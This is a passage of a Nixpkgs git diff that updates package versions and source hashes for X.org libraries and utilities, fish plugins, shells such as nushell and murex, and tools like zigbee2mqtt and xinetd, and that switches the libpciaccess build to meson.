"1ri66kxa9m6s3xw25mz85k34qhjyksa4kbs4jfrri0g47yv2xm33"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -1298,11 +1298,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! libXext = callPackage ({ stdenv, pkg-config, fetchurl, libX11, xorgproto, testers }: stdenv.mkDerivation (finalAttrs: { pname = "libXext"; - version = "1.3.5"; + version = "1.3.6"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/lib/libXext-1.3.5.tar.xz"; - sha256 = "1jkv7l9qm4vms6af4faax916rirxp6r8rpjrhlxa6zn5jp4c056v"; + url = "mirror://xorg/individual/lib/libXext-1.3.6.tar.xz"; + sha256 = "0lwpx0b7lid47pff6dagp5h63bi0b3gsy05lqpyhbr4l76i9zdgd"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -1638,11 +1638,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! libXvMC = callPackage ({ stdenv, pkg-config, fetchurl, xorgproto, libX11, libXext, libXv, testers }: stdenv.mkDerivation (finalAttrs: { pname = "libXvMC"; - version = "1.0.13"; + version = "1.0.14"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/lib/libXvMC-1.0.13.tar.xz"; - sha256 = "0z35xqna3dnrfxgn9aa1y6jx7mrwsn8vi8dcwm3sg23qx9nvx7ha"; + url = "mirror://xorg/individual/lib/libXvMC-1.0.14.tar.xz"; + sha256 = "1nayf8qck0b1xb88dirdbvj7clr18wq1dxs73zwbpzdsnsv9xgp4"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -1756,19 +1756,18 @@ self: with self; { })) {}; # THIS IS A GENERATED FILE. DO NOT EDIT! - libpciaccess = callPackage ({ stdenv, pkg-config, fetchurl, hwdata, zlib, testers }: stdenv.mkDerivation (finalAttrs: { + libpciaccess = callPackage ({ stdenv, pkg-config, fetchurl, testers }: stdenv.mkDerivation (finalAttrs: { pname = "libpciaccess"; - version = "0.17"; + version = "0.18"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/lib/libpciaccess-0.17.tar.xz"; - sha256 = "0wsvv5d05maqbidvnavka7n0fnql55m4jix5wwlk14blr6ikna3l"; + url = "mirror://xorg/individual/lib/libpciaccess-0.18.tar.xz"; + sha256 = "1ab2qbksf15jrpzd6x9ncri64d2bnhlw7aajdws58lj9gljv0qal"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; nativeBuildInputs = [ pkg-config ]; - buildInputs = [ hwdata zlib ]; - configureFlags = [ "--with-pciids-path=${hwdata}/share/hwdata" ]; + buildInputs = [ ]; passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; meta = { pkgConfigModules = [ "pciaccess" ]; @@ -1839,11 +1838,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! libxkbfile = callPackage ({ stdenv, pkg-config, fetchurl, xorgproto, libX11, testers }: stdenv.mkDerivation (finalAttrs: { pname = "libxkbfile"; - version = "1.1.2"; + version = "1.1.3"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/lib/libxkbfile-1.1.2.tar.xz"; - sha256 = "1ca4crhzc5a2gdkc4r0m92wyirsy5mngnz0430bj02s2mi7pi8xq"; + url = "mirror://xorg/individual/lib/libxkbfile-1.1.3.tar.xz"; + sha256 = "1v2bhw1q1cj3wjfs0igq393iz10whcavbyxlm3k9xfvsk7m3xdm9"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -1937,18 +1936,18 @@ self: with self; { })) {}; # THIS IS A GENERATED FILE. DO NOT EDIT! - makedepend = callPackage ({ stdenv, pkg-config, fetchurl, xorgproto, testers }: stdenv.mkDerivation (finalAttrs: { + makedepend = callPackage ({ stdenv, pkg-config, fetchurl, testers }: stdenv.mkDerivation (finalAttrs: { pname = "makedepend"; - version = "1.0.8"; + version = "1.0.9"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/util/makedepend-1.0.8.tar.xz"; - sha256 = "0nxs5ibrghym3msbnh0b8i3yd3xgqandmrkc500jm6qq4n06zcmz"; + url = "mirror://xorg/individual/util/makedepend-1.0.9.tar.xz"; + sha256 = "1m1dg32z22fw9shg0wsxw7dvdcnfm16gq9qxpkfxixpzb6vdxl4j"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; nativeBuildInputs = [ pkg-config ]; - buildInputs = [ xorgproto ]; + buildInputs = [ ]; passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; meta = { pkgConfigModules = [ ]; @@ -1959,11 +1958,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! mkfontscale = callPackage ({ stdenv, pkg-config, fetchurl, libfontenc, freetype, xorgproto, zlib, testers }: stdenv.mkDerivation (finalAttrs: { pname = "mkfontscale"; - version = "1.2.2"; + version = "1.2.3"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/app/mkfontscale-1.2.2.tar.xz"; - sha256 = "1i6mw97r2s1rb6spjj8fbdsgw6197smaqq2haqgnwhz73xdzpqwa"; + url = "mirror://xorg/individual/app/mkfontscale-1.2.3.tar.xz"; + sha256 = "0pp7dyfrrkrqxslk9q8660k0h4swaqlixsnnph2fxb7i8k1ws899"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -2279,11 +2278,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! xcbutilcursor = callPackage ({ stdenv, pkg-config, fetchurl, gperf, libxcb, xcbutilimage, xcbutilrenderutil, xorgproto, m4, testers }: stdenv.mkDerivation (finalAttrs: { pname = "xcb-util-cursor"; - version = "0.1.4"; + version = "0.1.5"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/xcb/xcb-util-cursor-0.1.4.tar.xz"; - sha256 = "1yria9h0vqpblkgzqhpygk3rraijd3mmipg0mdhkayxbpj8gxp18"; + url = "mirror://xorg/individual/lib/xcb-util-cursor-0.1.5.tar.xz"; + sha256 = "0mrwcrm6djbd5zdvqb5v4wr87bzawnaacyqwwhfghw09ssq9kbqc"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -3819,11 +3818,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! xkbcomp = callPackage ({ stdenv, pkg-config, fetchurl, libX11, libxkbfile, xorgproto, testers }: stdenv.mkDerivation (finalAttrs: { pname = "xkbcomp"; - version = "1.4.6"; + version = "1.4.7"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/app/xkbcomp-1.4.6.tar.xz"; - sha256 = "164fqnpq80vbl7693x82h38kvxcdf668vggpg9439q21xw8xcl7s"; + url = "mirror://xorg/individual/app/xkbcomp-1.4.7.tar.xz"; + sha256 = "0xqzz209m9i43jbyrf2lh4xdbyhzzzn9mis2f2c32kplwla82a0a"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -3879,11 +3878,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! xkbutils = callPackage ({ stdenv, pkg-config, fetchurl, xorgproto, libX11, libXaw, libXt, testers }: stdenv.mkDerivation (finalAttrs: { pname = "xkbutils"; - version = "1.0.5"; + version = "1.0.6"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/app/xkbutils-1.0.5.tar.xz"; - sha256 = "197f4pgw3jdnlp7sj37f3xf15ayad20sl7vvg2rvx0j5qplsi97n"; + url = "mirror://xorg/individual/app/xkbutils-1.0.6.tar.xz"; + sha256 = "0pp2bsksblvvw0fx667k2bl5sm0baj7pp2cjvq0vmk093vpbp8ii"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -3899,11 +3898,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! xkeyboardconfig = callPackage ({ stdenv, pkg-config, fetchurl, testers }: stdenv.mkDerivation (finalAttrs: { pname = "xkeyboard-config"; - version = "2.40"; + version = "2.41"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/data/xkeyboard-config/xkeyboard-config-2.40.tar.xz"; - sha256 = "1qrakn6gyj701mxwbrlhjv4gd73ws51140ns68a1kivxxhdvlgbs"; + url = "mirror://xorg/individual/data/xkeyboard-config/xkeyboard-config-2.41.tar.xz"; + sha256 = "13vjvyg1fjvsqzqkpxzigvv94v154mcb2gba4d80spi9aywxcb7h"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; @@ -4077,18 +4076,18 @@ self: with self; { })) {}; # THIS IS A GENERATED FILE. DO NOT EDIT! - xmore = callPackage ({ stdenv, pkg-config, fetchurl, libXaw, libXt, wrapWithXFileSearchPathHook, testers }: stdenv.mkDerivation (finalAttrs: { + xmore = callPackage ({ stdenv, pkg-config, fetchurl, libXaw, xorgproto, libXt, wrapWithXFileSearchPathHook, testers }: stdenv.mkDerivation (finalAttrs: { pname = "xmore"; - version = "1.0.3"; + version = "1.0.4"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/app/xmore-1.0.3.tar.bz2"; - sha256 = "06r514p30v87vx00ddlck9mwazaqk9bx08ip866p1mw2a46iwjk4"; + url = "mirror://xorg/individual/app/xmore-1.0.4.tar.xz"; + sha256 = "16havfffngvx5kc9lam8rhsdfabsj1rsv4g49z346knyq7dn1dby"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; nativeBuildInputs = [ pkg-config wrapWithXFileSearchPathHook ]; - buildInputs = [ libXaw libXt ]; + buildInputs = [ libXaw xorgproto libXt ]; passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; meta = { pkgConfigModules = [ ]; @@ -4219,11 +4218,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! xprop = callPackage ({ stdenv, pkg-config, fetchurl, libX11, xorgproto, testers }: stdenv.mkDerivation (finalAttrs: { pname = "xprop"; - version = "1.2.6"; + version = "1.2.7"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/app/xprop-1.2.6.tar.xz"; - sha256 = "0vjqnn42gscw1z2wdj24kdwjwvd7mw58pj0nm9203k1fn4jqa2sq"; + url = "mirror://xorg/individual/app/xprop-1.2.7.tar.xz"; + sha256 = "0pw2iv7dcy2xq5fh3427nx88pjj9d9rry3930qj1c6mricaf6dj4"; }; hardeningDisable = [ "bindnow" "relro" ]; strictDeps = true; diff --git a/pkgs/servers/x11/xorg/generate-expr-from-tarballs.pl b/pkgs/servers/x11/xorg/generate-expr-from-tarballs.pl index 94755a1637ba3..d0f88c4dfdbc1 100755 --- a/pkgs/servers/x11/xorg/generate-expr-from-tarballs.pl +++ b/pkgs/servers/x11/xorg/generate-expr-from-tarballs.pl @@ -198,12 +198,6 @@ while (<>) { push @{$extraAttrs{$pkg}}, "postPatch = ''substituteInPlace configure --replace 'MAPFILES_PATH=`pkg-config' 'MAPFILES_PATH=`\$PKG_CONFIG' '';"; } - # libpciaccess requires pci.ids{,.gz} at runtime - if ($pkg eq "libpciaccess") { - push @requires, "hwdata"; - push @{$extraAttrs{$pkg}}, "configureFlags = [ \"--with-pciids-path=\${hwdata}/share/hwdata\" ];"; - } - if (@@ = glob("$tmpDir/*/app-defaults/")) { push @nativeRequires, "wrapWithXFileSearchPathHook"; } diff --git a/pkgs/servers/x11/xorg/overrides.nix b/pkgs/servers/x11/xorg/overrides.nix index b3aac93d89cb4..6cc04f1490c64 100644 --- a/pkgs/servers/x11/xorg/overrides.nix +++ b/pkgs/servers/x11/xorg/overrides.nix @@ -5,7 +5,7 @@ libGL, spice-protocol, zlib, libGLU, dbus, libunwind, libdrm, netbsd, ncompress, mesa, udev, bootstrap_cmds, bison, flex, clangStdenv, autoreconfHook, - mcpp, libepoxy, openssl, pkg-config, llvm, libxslt, libxcrypt, + mcpp, libepoxy, openssl, pkg-config, llvm, libxslt, libxcrypt, hwdata, ApplicationServices, Carbon, Cocoa, Xplugin, xorg, windows }: @@ -408,14 +408,15 @@ self: super: }); libpciaccess = super.libpciaccess.overrideAttrs (attrs: { - patches = attrs.patches or [] ++ [ - (fetchpatch { - url = "https://gitlab.freedesktop.org/xorg/lib/libpciaccess/-/commit/833c86ce15cee2a84a37ae71015f236fd32615d9.patch"; - hash = "sha256-6koQV+Vse7/OWwuWYrWmBUebHBT+5F32Kkn9V9j+m+Q="; - }) - ]; + nativeBuildInputs = attrs.nativeBuildInputs ++ [ meson ninja ]; - buildInputs = lib.optionals stdenv.hostPlatform.isNetBSD (with netbsd; [ libarch libpci ]); + buildInputs = attrs.buildInputs ++ [ zlib ] + ++ lib.optionals stdenv.hostPlatform.isNetBSD (with netbsd; [ libarch libpci ]); + + mesonFlags = [ + (lib.mesonOption "pci-ids" "${hwdata}/share/hwdata") + (lib.mesonEnable "zlib" true) + ]; meta = attrs.meta // { # https://gitlab.freedesktop.org/xorg/lib/libpciaccess/-/blob/master/configure.ac#L108-114 diff --git a/pkgs/servers/x11/xorg/tarballs.list b/pkgs/servers/x11/xorg/tarballs.list index c6dcd9b0402f5..d0516bd8669da 100644 --- a/pkgs/servers/x11/xorg/tarballs.list +++ b/pkgs/servers/x11/xorg/tarballs.list @@ -1,20 +1,19 @@ https://invisible-mirror.net/archives/luit/luit-20230201.tgz mirror://xorg/individual/xcb/libpthread-stubs-0.5.tar.xz mirror://xorg/individual/xcb/xcb-util-0.4.1.tar.xz -mirror://xorg/individual/xcb/xcb-util-cursor-0.1.4.tar.xz mirror://xorg/individual/xcb/xcb-util-errors-1.0.1.tar.xz mirror://xorg/individual/xcb/xcb-util-image-0.4.1.tar.xz mirror://xorg/individual/xcb/xcb-util-keysyms-0.4.1.tar.xz mirror://xorg/individual/xcb/xcb-util-renderutil-0.3.10.tar.xz mirror://xorg/individual/xcb/xcb-util-wm-0.4.2.tar.xz mirror://xorg/individual/app/appres-1.0.6.tar.xz -mirror://xorg/individual/app/bitmap-1.1.0.tar.xz +mirror://xorg/individual/app/bitmap-1.1.1.tar.xz mirror://xorg/individual/app/editres-1.0.8.tar.xz mirror://xorg/individual/app/fonttosfnt-1.2.3.tar.xz mirror://xorg/individual/app/iceauth-1.0.9.tar.xz mirror://xorg/individual/app/ico-1.0.6.tar.xz mirror://xorg/individual/app/listres-1.0.5.tar.xz -mirror://xorg/individual/app/mkfontscale-1.2.2.tar.xz +mirror://xorg/individual/app/mkfontscale-1.2.3.tar.xz mirror://xorg/individual/app/oclock-1.0.5.tar.xz mirror://xorg/individual/app/sessreg-1.1.3.tar.xz mirror://xorg/individual/app/setxkbmap-1.3.4.tar.xz @@ -45,10 +44,10 @@ mirror://xorg/individual/app/xgc-1.0.6.tar.xz mirror://xorg/individual/app/xhost-1.0.9.tar.xz mirror://xorg/individual/app/xinit-1.4.2.tar.xz mirror://xorg/individual/app/xinput-1.6.4.tar.xz -mirror://xorg/individual/app/xkbcomp-1.4.6.tar.xz +mirror://xorg/individual/app/xkbcomp-1.4.7.tar.xz mirror://xorg/individual/app/xkbevd-1.1.5.tar.xz mirror://xorg/individual/app/xkbprint-1.0.6.tar.xz -mirror://xorg/individual/app/xkbutils-1.0.5.tar.xz +mirror://xorg/individual/app/xkbutils-1.0.6.tar.xz mirror://xorg/individual/app/xkill-1.0.6.tar.xz mirror://xorg/individual/app/xload-1.1.4.tar.xz mirror://xorg/individual/app/xlsatoms-1.1.4.tar.xz @@ -57,9 +56,9 @@ mirror://xorg/individual/app/xlsfonts-1.0.7.tar.xz mirror://xorg/individual/app/xmag-1.0.7.tar.xz mirror://xorg/individual/app/xmessage-1.0.6.tar.xz mirror://xorg/individual/app/xmodmap-1.0.11.tar.xz -mirror://xorg/individual/app/xmore-1.0.3.tar.bz2 +mirror://xorg/individual/app/xmore-1.0.4.tar.xz mirror://xorg/individual/app/xpr-1.1.0.tar.xz -mirror://xorg/individual/app/xprop-1.2.6.tar.xz +mirror://xorg/individual/app/xprop-1.2.7.tar.xz mirror://xorg/individual/app/xrandr-1.5.2.tar.xz mirror://xorg/individual/app/xrdb-1.2.2.tar.xz mirror://xorg/individual/app/xrefresh-1.0.7.tar.xz @@ -74,7 +73,7 @@ mirror://xorg/individual/app/xwininfo-1.1.6.tar.xz mirror://xorg/individual/app/xwud-1.0.6.tar.xz mirror://xorg/individual/data/xbitmaps-1.1.3.tar.xz mirror://xorg/individual/data/xcursor-themes-1.0.7.tar.xz -mirror://xorg/individual/data/xkeyboard-config/xkeyboard-config-2.40.tar.xz +mirror://xorg/individual/data/xkeyboard-config/xkeyboard-config-2.41.tar.xz mirror://xorg/individual/doc/xorg-docs-1.7.2.tar.gz mirror://xorg/individual/doc/xorg-sgml-doctools-1.12.tar.gz mirror://xorg/individual/driver/xf86-input-evdev-2.10.6.tar.bz2 @@ -171,7 +170,7 @@ mirror://xorg/individual/lib/libdmx-1.1.5.tar.xz mirror://xorg/individual/lib/libfontenc-1.1.7.tar.xz mirror://xorg/individual/lib/libFS-1.0.9.tar.xz mirror://xorg/individual/lib/libICE-1.1.1.tar.xz -mirror://xorg/individual/lib/libpciaccess-0.17.tar.xz +mirror://xorg/individual/lib/libpciaccess-0.18.tar.xz mirror://xorg/individual/lib/libSM-1.2.4.tar.xz mirror://xorg/individual/lib/libWindowsWM-1.0.1.tar.bz2 mirror://xorg/individual/lib/libX11-1.8.7.tar.xz @@ -183,14 +182,14 @@ mirror://xorg/individual/lib/libXcursor-1.2.1.tar.xz mirror://xorg/individual/lib/libxcvt-0.1.2.tar.xz mirror://xorg/individual/lib/libXdamage-1.1.6.tar.xz mirror://xorg/individual/lib/libXdmcp-1.1.4.tar.xz -mirror://xorg/individual/lib/libXext-1.3.5.tar.xz +mirror://xorg/individual/lib/libXext-1.3.6.tar.xz mirror://xorg/individual/lib/libXfixes-6.0.1.tar.xz mirror://xorg/individual/lib/libXfont-1.5.4.tar.bz2 mirror://xorg/individual/lib/libXfont2-2.0.6.tar.xz mirror://xorg/individual/lib/libXft-2.3.8.tar.xz mirror://xorg/individual/lib/libXi-1.8.1.tar.xz mirror://xorg/individual/lib/libXinerama-1.1.5.tar.xz -mirror://xorg/individual/lib/libxkbfile-1.1.2.tar.xz +mirror://xorg/individual/lib/libxkbfile-1.1.3.tar.xz mirror://xorg/individual/lib/libXmu-1.1.4.tar.xz mirror://xorg/individual/lib/libXp-1.0.4.tar.xz mirror://xorg/individual/lib/libXpm-3.5.17.tar.xz @@ -204,10 +203,11 @@ mirror://xorg/individual/lib/libXTrap-1.0.1.tar.bz2 mirror://xorg/individual/lib/libXt-1.3.0.tar.xz mirror://xorg/individual/lib/libXtst-1.2.4.tar.xz mirror://xorg/individual/lib/libXv-1.0.12.tar.xz -mirror://xorg/individual/lib/libXvMC-1.0.13.tar.xz +mirror://xorg/individual/lib/libXvMC-1.0.14.tar.xz mirror://xorg/individual/lib/libXxf86dga-1.1.6.tar.xz mirror://xorg/individual/lib/libXxf86misc-1.0.4.tar.bz2 mirror://xorg/individual/lib/libXxf86vm-1.1.5.tar.xz +mirror://xorg/individual/lib/xcb-util-cursor-0.1.5.tar.xz mirror://xorg/individual/lib/xtrans-1.5.0.tar.xz mirror://xorg/individual/proto/xcb-proto-1.16.0.tar.xz mirror://xorg/individual/proto/xorgproto-2023.2.tar.xz @@ -215,7 +215,7 @@ mirror://xorg/individual/util/bdftopcf-1.1.1.tar.xz mirror://xorg/individual/util/gccmakedep-1.0.3.tar.bz2 mirror://xorg/individual/util/imake-1.0.10.tar.xz mirror://xorg/individual/util/lndir-1.0.4.tar.xz -mirror://xorg/individual/util/makedepend-1.0.8.tar.xz +mirror://xorg/individual/util/makedepend-1.0.9.tar.xz mirror://xorg/individual/util/util-macros-1.20.0.tar.xz mirror://xorg/individual/util/xorg-cf-files-1.0.8.tar.xz mirror://xorg/individual/xserver/xorg-server-21.1.11.tar.xz diff --git a/pkgs/servers/xinetd/default.nix b/pkgs/servers/xinetd/default.nix index d7d1c94d9de2a..9abef85bde297 100644 --- a/pkgs/servers/xinetd/default.nix +++ b/pkgs/servers/xinetd/default.nix @@ -5,12 +5,12 @@ , libtirpc }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "xinetd"; version = "2.3.15.4"; src = fetchurl { - url = "https://github.com/openSUSE/xinetd/releases/download/${version}/xinetd-${version}.tar.xz"; + url = "https://github.com/openSUSE/xinetd/releases/download/${finalAttrs.version}/xinetd-${finalAttrs.version}.tar.xz"; hash = "sha256-K6pYEBC8cDYavfo38SHpKuucXOZ/mnGRPOvWk1nMllQ="; }; @@ -26,7 +26,7 @@ stdenv.mkDerivation rec { description = "Secure replacement for inetd"; platforms = lib.platforms.linux; homepage = "https://github.com/openSUSE/xinetd"; - license = lib.licenses.free; + license = lib.licenses.xinetd; maintainers = with lib.maintainers; [ fgaz ]; }; -} +}) diff --git a/pkgs/servers/zigbee2mqtt/default.nix b/pkgs/servers/zigbee2mqtt/default.nix index 0d24c3adce3de..c566ca090581a 100644 --- a/pkgs/servers/zigbee2mqtt/default.nix +++ b/pkgs/servers/zigbee2mqtt/default.nix @@ -9,16 +9,16 @@ buildNpmPackage rec { pname = "zigbee2mqtt"; - version = "1.35.3"; + version = "1.36.0"; src = fetchFromGitHub { owner = "Koenkk"; repo = "zigbee2mqtt"; rev = version; - hash = "sha256-pj+8BiEcR8Z88J3xxEa4IRBlt9Lv7IoSrKAQ6Y5oydI="; + hash = "sha256-Eyp6VQAt0bd3rXovoaUvTuEY8E67cI5vFadpClhHcrA="; }; - npmDepsHash = "sha256-15aZyICTRq6DvW2arKtdT+jXDyGtVD7ncer8e4d+03E="; + npmDepsHash = "sha256-Kr2gjCMf7yRldvLImuU92sN7a4T2ARFcTshwGOWX+zw="; nodejs = nodejs_18; diff --git a/pkgs/shells/carapace/default.nix b/pkgs/shells/carapace/default.nix index de69944abf7ac..3569792533834 100644 --- a/pkgs/shells/carapace/default.nix +++ b/pkgs/shells/carapace/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "carapace"; - version = "0.30.1"; + version = "0.30.2"; src = fetchFromGitHub { owner = "rsteube"; repo = "${pname}-bin"; rev = "v${version}"; - hash = "sha256-2sf/S6i7f6pkjPEe0LaOJL6GtVNuRpGKXoRP4ZfDfX0="; + hash = "sha256-gYYNwDUL00b9orq1suxa9VtHBLUgRgntQcYw24vgncg="; }; - vendorHash = "sha256-iIDtq+wRtBEV/gmGm4xSP87PT3pyUtto1d+nbHPzB04="; + vendorHash = "sha256-RML1al1XlONzeCCkz34Ij1I/WDQSTVrm3P6RaOdyWKI="; ldflags = [ "-s" diff --git a/pkgs/shells/fish/plugins/default.nix b/pkgs/shells/fish/plugins/default.nix index 739e819952333..e3ccd9fb8a0f0 100644 --- a/pkgs/shells/fish/plugins/default.nix +++ b/pkgs/shells/fish/plugins/default.nix @@ -19,6 +19,8 @@ lib.makeScope newScope (self: with self; { done = callPackage ./done.nix { }; + fifc = callPackage ./fifc.nix { }; + # Fishtape 2.x and 3.x aren't compatible, # but both versions are used in the tests of different other plugins. fishtape = callPackage ./fishtape.nix { }; diff --git a/pkgs/shells/fish/plugins/done.nix b/pkgs/shells/fish/plugins/done.nix index 1c1f5848aa303..f53840743bd27 100644 --- a/pkgs/shells/fish/plugins/done.nix +++ b/pkgs/shells/fish/plugins/done.nix @@ -2,13 +2,13 @@ buildFishPlugin rec { pname = "done"; - version = "1.19.1"; + version = "1.19.2"; src = fetchFromGitHub { owner = "franciscolourenco"; repo = "done"; rev = version; - hash = "sha256-BGHfwKoMfOZUsa05kEt8W2luc1aC3Su/OyaGmcb4UiI="; + hash = "sha256-VSCYsGjNPSFIZSdLrkc7TU7qyPVm8UupOoav5UqXPMk="; }; checkPlugins = [ fishtape ]; diff --git a/pkgs/shells/fish/plugins/fifc.nix b/pkgs/shells/fish/plugins/fifc.nix new file mode 100644 index 0000000000000..0b287d39ba2fc --- /dev/null +++ b/pkgs/shells/fish/plugins/fifc.nix @@ -0,0 +1,23 @@ +{ + lib, + buildFishPlugin, + fetchFromGitHub, +}: +buildFishPlugin rec { + pname = "fifc"; + version = "0.1.1"; + + src = fetchFromGitHub { + owner = "gazorby"; + repo = "fifc"; + rev = "v${version}"; + hash = "sha256-p5E4Mx6j8hcM1bDbeftikyhfHxQ+qPDanuM1wNqGm6E="; + }; + + meta = with lib; { + description = "Fzf powers on top of fish completion engine and allows customizable completion rules"; + homepage = "https://github.com/gazorby/fifc"; + license = licenses.mit; + maintainers = with maintainers; [ hmajid2301 ]; + }; +} diff --git a/pkgs/shells/fish/plugins/forgit.nix b/pkgs/shells/fish/plugins/forgit.nix index 7d6a890989003..e5e226665989b 100644 --- a/pkgs/shells/fish/plugins/forgit.nix +++ b/pkgs/shells/fish/plugins/forgit.nix @@ -2,13 +2,13 @@ buildFishPlugin rec { pname = "forgit"; - version = "24.01.0"; + version = "24.03.1"; src = fetchFromGitHub { owner = "wfxr"; repo = "forgit"; rev = version; - hash = "sha256-WHhyllOr/PgR+vlrfMQs/3/d3xpmDylT6BlLCu50a2g="; + hash = "sha256-DIaoD6o+oY+/FnwQadQh0XqMVP4xbE8gAPtWrvwsG+c="; }; postInstall = '' diff --git a/pkgs/shells/fish/plugins/pure.nix b/pkgs/shells/fish/plugins/pure.nix index 04334f14fa99b..25ea8aea89b8b 100644 --- a/pkgs/shells/fish/plugins/pure.nix +++ b/pkgs/shells/fish/plugins/pure.nix @@ -2,13 +2,13 @@ buildFishPlugin rec { pname = "pure"; - version = "4.8.0"; + version = "4.11.0"; src = fetchFromGitHub { owner = "pure-fish"; repo = "pure"; rev = "v${version}"; - hash = "sha256-O8rC2uCuM3xUQPRap7XqyyAvO77hP+sqNM4mEQ7pZkw="; + hash = "sha256-8zxqPU9N5XGbKc0b3bZYkQ3yH64qcbakMsHIpHZSne4="; }; nativeCheckInputs = [ git ]; diff --git a/pkgs/shells/hishtory/default.nix b/pkgs/shells/hishtory/default.nix index ac138a41f1822..83b7191641235 100644 --- a/pkgs/shells/hishtory/default.nix +++ b/pkgs/shells/hishtory/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "hishtory"; - version = "0.267"; + version = "0.277"; src = fetchFromGitHub { owner = "ddworken"; repo = pname; rev = "v${version}"; - hash = "sha256-wUfDJmwO96HulGTEh5YxTWPUSNAmPk9vpdPYujldIPE="; + hash = "sha256-Gb2E9IlXU+3WuEDIh/McwoHPEUqVAxMeaGVmers5Hvw="; }; - vendorHash = "sha256-yk1ryXQ750xW7BYTMg0UQYb5DEIJ5ZWvoLLKSo3nx6k="; + vendorHash = "sha256-qWKLYGDbL5LL3CjD2yz9CjwAM6lL9Pjnbk+ERCmW94c="; ldflags = [ "-X github.com/ddworken/hishtory/client/lib.Version=${version}" ]; diff --git a/pkgs/shells/murex/default.nix b/pkgs/shells/murex/default.nix index 432bd618177db..d44c32e81cfc9 100644 --- a/pkgs/shells/murex/default.nix +++ b/pkgs/shells/murex/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "murex"; - version = "5.3.7000"; + version = "6.0.1000"; src = fetchFromGitHub { owner = "lmorg"; repo = pname; rev = "v${version}"; - sha256 = "sha256-wXpiJQ/9A45cmi0v5ZAgOCBvK86fqiOe9G8zOVCetBg="; + sha256 = "sha256-biwwNuCUgBNV//4/PYKf/n4HA69uiBEYFWVwspI1GG8="; }; vendorHash = "sha256-qOItRqCIxoHigufI6b7j2VdBDo50qGDe+LAaccgDh5w="; diff --git a/pkgs/shells/nix-your-shell/default.nix b/pkgs/shells/nix-your-shell/default.nix index 8a3e225440346..9489fd4cf5a6e 100644 --- a/pkgs/shells/nix-your-shell/default.nix +++ b/pkgs/shells/nix-your-shell/default.nix @@ -5,16 +5,16 @@ }: rustPlatform.buildRustPackage rec { pname = "nix-your-shell"; - version = "1.4.0"; + version = "1.4.1"; src = fetchFromGitHub { owner = "MercuryTechnologies"; repo = pname; rev = "v${version}"; - hash = "sha256-2fS91/qeZt4JwQQeA+26RTN6zdm8/HUxG8sJDobX0+0="; + hash = "sha256-pa52demadLi5VN+GixQKVL9iD1kb9c32PqIh86BIUR8="; }; - cargoHash = "sha256-e7gxNaKP0n+Zx0KaQEfNA3QsS5HZ2KIB6HJ22Ve8+EA="; + cargoHash = "sha256-btM9AUH1S1AA8gEwXwouOT/E2oio0CmOZ738M+DUMiE="; meta = with lib; { mainProgram = "nix-your-shell"; diff --git a/pkgs/shells/nushell/default.nix b/pkgs/shells/nushell/default.nix index 8f215945dd41f..bdc3e1a0da7ad 100644 --- a/pkgs/shells/nushell/default.nix +++ b/pkgs/shells/nushell/default.nix @@ -13,7 +13,9 @@ , Security , nghttp2 , libgit2 -, doCheck ? true +# string interpolation dependends on a date that is erroring out +# this will be fixed in releases after 0.90.1 +, doCheck ? false , withDefaultFeatures ? true , additionalFeatures ? (p: p) , testers @@ -22,7 +24,7 @@ }: let - version = "0.89.0"; + version = "0.91.0"; in rustPlatform.buildRustPackage { @@ -33,10 +35,10 @@ rustPlatform.buildRustPackage { owner = "nushell"; repo = "nushell"; rev = version; - hash = "sha256-sBS24FOdEhb+MPu33lpFxLd2/r2AvLUXka+7W3lUIvo="; + hash = "sha256-X3D+JRvnk6HMKWJMTNR16Fmhu+gYd8Ip+7PZQoLIoEU="; }; - cargoHash = "sha256-B1Sd4dLacIIVNQDnBFw74nX+LaQnzYwCKXv3oJIbu4M="; + cargoHash = "sha256-Xj4P/qd4GvmhWGwGaPvY23cQwdjdf6cSb1xyRZLN0tQ="; nativeBuildInputs = [ pkg-config ] ++ lib.optionals (withDefaultFeatures && stdenv.isLinux) [ python3 ] diff --git 